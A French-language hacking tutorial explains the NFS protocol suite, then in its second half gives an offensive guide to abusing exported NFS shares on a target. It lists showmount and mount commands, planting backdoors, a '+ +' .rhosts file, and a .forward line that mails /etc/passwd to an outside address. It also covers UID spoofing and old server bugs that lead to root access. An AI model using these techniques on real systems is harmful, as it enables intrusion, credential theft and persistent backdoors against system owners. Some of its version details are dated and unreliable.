NFS

 

 

NFS (Network File Système) permet de gérer des fichiers distribués sur plusieurs ordinateurs d’un réseau comme s’ils étaient sur un disque dur locale. Comme ça on a plus besoin de soucier de savoir où sont physiquement ses fichiers pour y accéder.
NFS permet très simplement de partager des données entre plusieurs machines. Par exemple, un utilisateur qui se connecte sur un réseau n’aura plus à de se logger sur une machine précise : via NFS, son home directory lui sera directement exporté sur la machine où il se connecte.

Le protocole NFS :
Ce que nous appelons communément NFS se compose en fait de 4 protocoles. Chacun repose sur les RPC (Remote Procedure Calls) et donc portmap. Je rappel que ce prog convertit les numéros de programmes en numéros de ports. Quand un serveur RPC démarre, il va préciser a portmap quel port il utilisera et les numéros de progs qu’il gère. Quand un client souhaite envoyé une requête RPC vers un numéro de prog donné, il contacte d’abord le serveur portmap pour obtenir le numéro de port sur le quel tourne le prog souhaité. Ensuite il adresse les paquets RPC au port correspondant.

Les 4 services permettant à NFS de fonctionner sont :
- nfs : Ce protocole est la base qui permet la création de fichiers, leur recherche, leur lecture ou leur écriture. Ce protocole gère donc l’authentification et les statistique sur les fichiers.
- mountd : Celui-ci s’occupe du montage des systèmes exportés auxquels on accèdera par nfs. Il envoie donc des requête de type mount et umount au serveur, qui doit donc garder des informations sur les systèmes de fichiers exportés.
- nsm : (Network Status Monitor) Il sert a monitorer les nœuds du réseau pour connaître l’état s’une machine (cliente ou serveur) pour signaler, par exemple, qu’elle redémarre.
- nlm : (Network Lock Manager) Pour éviter que des données soient altérées par plusieurs clients en même temps, ce protocole gère un système de locks qui permettent de signaler les systèmes de fichiers utilisés. Ainsi, à l’aide du protocole nsm qui sait quand un client redémarre, il libère tous les locks du client avant de les lui restituer si une nouvelle requête est émise. 

Le démon knfsd, disponible avec les dernières versions du noyau, supporte directement les protocoles nfs et nlm. En revanche, mountd et nsm ne le sont pas encore. Il existe actuellement 2 versions de NFS (versions 2 et 3). Le serveur NFS de linux ne supporte pour l’instant que la version 2. 

NFS pour le HACK :
Tout d’abord il faut se savoir se servir de NFS alors :
Pour savoir ce qui peut être chopper grâce a nfs, taper dans un un shell :
#showmount -e www.cible.com
vous aurez en réponse un truc comme du genre :          
/bin (everyone)
/etc  (joker) 

Vous avez compris que n’importe qui peut mounter le répertoire /bin et seul joker peut mounter le répertoire /etc. 
Voilà il vous reste plus qu’a exporter le répertoire. Pour cela :
#mount -t nfs www.cible.com:/rep-distant /votre_dossier 

Bon, maitenant que vous savez vous servir du NFS, voyons a quoi il peutbien nous servir :
1). ça peut servir a récolter des infos sur la cible, inspecter le système. A choper le nom de domaine NIS si le rep /var est exportable.
2). Il peut aussi servir à insérer une backdoor sur la cible. Il suffit de l’écrire dans le rep /usr (par exemple).
3). Vous pouvez récupérez un shell sur la machine. Si vous avez de la chance, les home directories seront modifiables par tout le monde, sinon vous devrez modifier votre UID/GID afin de prendre l’identité d’un user. Une fois que vous avez accès au home direstori, vous pouvez lui mettre un fichier .rhosts comprenant "+ +" dedans , ou faites un fichier .forward avec "|/bin/mail joker@hacking-fr.org < /etc/passwd" histoire de récupérer /etc/password .
4). Il y a également le bug Mkmod. Le bug mknod de certains serveurs NFS permet aux utilisateurs de créer des devices qui nécessiteraient normalement un accès super utilisateur.On pourrait ainsi créer un device kmem et changer ainsi l'accès au super utilisateur.
5). Le probleme de l’UID. Certains démons NFS ne permettent pas à root (UID 0) du système distant de monter la machine cible comme root. Cette tentative sera montée comme 'nobody'. Cependant l'utilisation d'un UID de plus de 16 bits perturble le démon qui permettra alors ce montage comme root.
6). Sur toute machine équipée d'un NFS sur OS Vulnerable: Solaris 2.5.1 and below, Sunos 4.1.4 and below,All Linux kernels as of 4/18/97. On peut modifier des fichiers mémorisés par le serveur NFS, tels qu'identifiés lors de requêtes d'accès.
7). On peut aussi regarder si il n’y a pas un fichier d’acces dans les répertoires exporté. Si c’est le cas, et bien il reste plus qu’a le modifier !
 

Voilà, j’espère que je vous aurais fait comprendre se que c’est que NFS et a quoi il peut servir.

 

By the Joker